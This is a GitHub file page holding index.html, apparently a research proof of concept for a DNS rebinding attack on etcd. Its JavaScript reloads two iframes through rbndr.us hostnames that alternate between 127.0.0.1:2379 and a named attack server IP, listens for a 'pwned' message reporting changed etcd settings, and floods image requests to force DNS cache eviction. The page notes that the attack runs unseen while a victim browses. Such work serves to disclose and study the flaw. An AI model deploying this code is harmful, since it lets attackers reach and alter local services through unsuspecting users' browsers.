-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathindex.html
137 lines (125 loc) · 4.67 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
<html>
<head>
<title>etcd DNS Rebinding Testcase</title>
<script>
var timerA;
var timerB;
var count = 0;
function convert_dotted_quad(addr)
{
return addr.split('.')
.map(function (a) { return Number(a).toString(16) })
.map(function (a) { return a.length < 2 ? "0" + a : a })
.join('');
}
window.addEventListener("message", function (msg) {
console.log("message received from", msg.origin, msg.data.status);
if (msg.data.status == "start") {
console.log("iframe reports that attack has started");
if (msg.origin == document.getElementById("attackA").src.substr(0, msg.origin.length))
clearInterval(timerA);
if (msg.origin == document.getElementById("attackB").src.substr(0, msg.origin.length))
clearInterval(timerB);
msg.source.postMessage({cmd: "interval", param: document.getElementById("interval").value}, "*");
msg.source.postMessage({cmd: "start", param: null}, "*");
}
if (msg.data.status == "pwned") {
console.log("iframe reports that settings have been changed", msg.data.response);
attackA.contentWindow.postMessage({cmd: "stop"}, "*");
attackB.contentWindow.postMessage({cmd: "stop"}, "*");
clearInterval(timerA);
clearInterval(timerB);
var f = document.getElementById("final");
f.textContent = msg.data.response;
f.style.color= "red";
alert("Attack Successful!");
}
});
function reloadFrameA()
{
document.getElementById("attackA").src = document.getElementById("hosturl").value
.replace("%1", convert_dotted_quad(document.getElementById("hostA").value))
.replace("%2", convert_dotted_quad(document.getElementById("hostB").value))
+ "?rnd=" + Math.random();
}
function reloadFrameB()
{
document.getElementById("attackB").src = document.getElementById("hosturl").value
.replace("%1", convert_dotted_quad(document.getElementById("hostB").value))
.replace("%2", convert_dotted_quad(document.getElementById("hostA").value))
+ "?rnd=" + Math.random();
}
function begin()
{
message.style.display = "inline";
start.disabled = true;
timerA = setInterval(reloadFrameA, parseInt(document.getElementById("interval").value) * 1000);
timerB = setInterval(reloadFrameB, parseInt(document.getElementById("interval").value) * 1000);
reloadFrameA();
reloadFrameB();
}
function forceCacheEviction()
{
for (i = 0; i < 1000; i++) {
x = document.createElement("img");
x.src = document.getElementById("hosturl").value
.replace("%1", Number(0x7f000001).toString(16))
.replace("%2", Number(0x7f000001 + i).toString(16));
x.onerror = function () {
document.body.removeChild(this);
}
document.body.appendChild(x);
}
}
</script>
</head>
<body>
<h3>etcd DNS Rebinding Testcase</h3>
<p>
Use <a href="https://lock.cmpxchg8b.com/rebinder.html">this</a> calculator to find rbndr hostnames.
</p>
<p>
Note that this attack can take up to five minutes to work, this would be happening while you read a website in the background and you would see nothing on the screen.
<br>
This could be sped up with more frames (as you can see, this demo only uses two). Open the console (F12) to see debugging data.
</p>
<table>
<tr>
<td>Rebinding Host URL</td>
<td>
<input id=hosturl value="http://%1.%2.rbndr.us:2379/attack_etcd.html" size=64>
</td>
</tr>
<tr>
<td>Rebinding Host A (etcd local)</td>
<td>
<input id=hostA value="127.0.0.1" size=64>
</td>
</tr>
<tr>
<td>Rebinding Host B (Attack Server)</td>
<td>
<input id=hostB value="35.205.198.70" size=64>
</td>
</tr>
<tr>
<td>How long to wait between attempts (seconds, 20 works best for chrome)</td>
<td>
<input id=interval value="20" size=64>
</td>
</tr>
</table>
<p>
<input onclick="begin()" id=start type=submit value="Start Attack">
<input onclick="forceCacheEviction()" id=evict type=submit value="Force Cache Eviction" title="Try this if the attack is taking too long">
</p>
<p>
<div id=message style="display:none">
Please wait up to five minutes (Press F12 to see debug messages)... (We're waiting for DNS cache entries to expire).
</div>
<pre id=final>[ RESULT WILL SHOW HERE ]</pre>
</p>
<iframe id=attackA src="about:blank" height=128 width=50%></iframe>
<iframe id=attackB src="about:blank" height=128 width=50%></iframe>
</body>
</html>